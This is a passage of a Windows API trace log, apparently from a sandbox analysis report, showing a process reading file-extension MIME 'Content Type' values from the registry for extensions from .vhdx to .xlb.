RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".vhdx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.892] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.893] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.893] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".viw", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.893] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.893] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.929] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".vob", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.930] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.930] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.930] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".vspscc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.931] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.931] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.931] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".vsscc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.932] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.932] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.932] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".vssscc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.933] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.933] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.933] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".vxd", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.934] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.934] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.934] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wab", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.934] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.935] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.935] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wav", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.935] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="audio/wav", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.936] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.936] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wax", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.936] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="audio/x-ms-wax", lpcbData=0xc0006b98fc*=0x1e) returned 0x0 [0182.936] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.937] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wbcat", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.937] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.937] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.937] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wcx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.938] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.938] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.938] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wdp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.938] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/vnd.ms-photo", lpcbData=0xc0006b98fc*=0x26) returned 0x0 [0182.939] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.939] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".weba", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.940] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="audio/webm", lpcbData=0xc0006b98fc*=0x16) returned 0x0 [0182.940] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.940] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".webm", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.940] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/webm", lpcbData=0xc0006b98fc*=0x16) returned 0x0 [0182.941] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.941] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".webp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.942] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.942] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.942] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".webpnp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.943] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.943] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.944] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".website", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.944] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-mswebsite", lpcbData=0xc0006b98fc*=0x30) returned 0x0 [0182.944] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.945] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wll", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.945] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.945] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.945] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wlt", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.946] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.946] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.946] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wm", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.947] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/x-ms-wm", lpcbData=0xc0006b98fc*=0x1c) returned 0x0 [0182.947] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.948] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wma", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.948] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="audio/x-ms-wma", lpcbData=0xc0006b98fc*=0x1e) returned 0x0 [0182.948] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.949] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".WMD", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.949] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-ms-wmd", lpcbData=0xc0006b98fc*=0x2a) returned 0x0 [0182.949] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.950] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wmdb", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.950] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.950] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.950] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wmf", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.951] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/x-wmf", lpcbData=0xc0006b98fc*=0x18) returned 0x0 [0182.951] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.951] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wmp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.952] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.952] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.952] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".WMS", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.952] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.953] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.953] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wmv", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.953] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/x-ms-wmv", lpcbData=0xc0006b98fc*=0x1e) returned 0x0 [0182.954] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.954] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wmx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.954] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/x-ms-wmx", lpcbData=0xc0006b98fc*=0x1e) returned 0x0 [0182.955] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.955] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wmz", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.955] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-ms-wmz", lpcbData=0xc0006b98fc*=0x2a) returned 0x0 [0182.955] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.956] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wpl", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.956] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/vnd.ms-wpl", lpcbData=0xc0006b98fc*=0x2e) returned 0x0 [0182.957] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.957] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wri", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.957] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.958] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.958] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wsb", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.958] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.958] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.959] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wsc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.959] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="text/scriptlet", lpcbData=0xc0006b98fc*=0x1e) returned 0x0 [0182.960] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.960] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".WSF", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.960] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.961] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.961] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".WSH", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.961] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.961] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.962] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wsz", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.962] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.962] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.963] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".WTV", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.963] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.963] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.964] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wtx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.964] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.964] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.964] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".wvx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.965] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/x-ms-wvx", lpcbData=0xc0006b98fc*=0x1e) returned 0x0 [0182.965] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.965] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".x", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.966] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.966] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.966] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".x3f", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.967] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/X3F", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.967] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.968] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".xaml", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.968] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/xaml+xml", lpcbData=0xc0006b98fc*=0x2a) returned 0x0 [0182.969] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.006] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".xbap", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.007] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-ms-xbap", lpcbData=0xc0006b98fc*=0x2c) returned 0x0 [0183.007] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.007] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".xdp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.008] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/vnd.adobe.xdp+xml", lpcbData=0xc0006b98fc*=0x3c) returned 0x0 [0183.008] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.008] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".xfdf", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.009] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/vnd.adobe.xfdf", lpcbData=0xc0006b98fc*=0x36) returned 0x0 [0183.009] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.009] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".xht", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.010] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/xhtml+xml", lpcbData=0xc0006b98fc*=0x2c) returned 0x0 [0183.010] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.010] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".xhtml", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.011] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/xhtml+xml", lpcbData=0xc0006b98fc*=0x2c) returned 0x0 [0183.011] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.011] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".xix", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.012] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0183.012] RegCloseKey (hKey=0x1c6) returned 0x0 [0183.012] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".xlb", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0183.013] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, 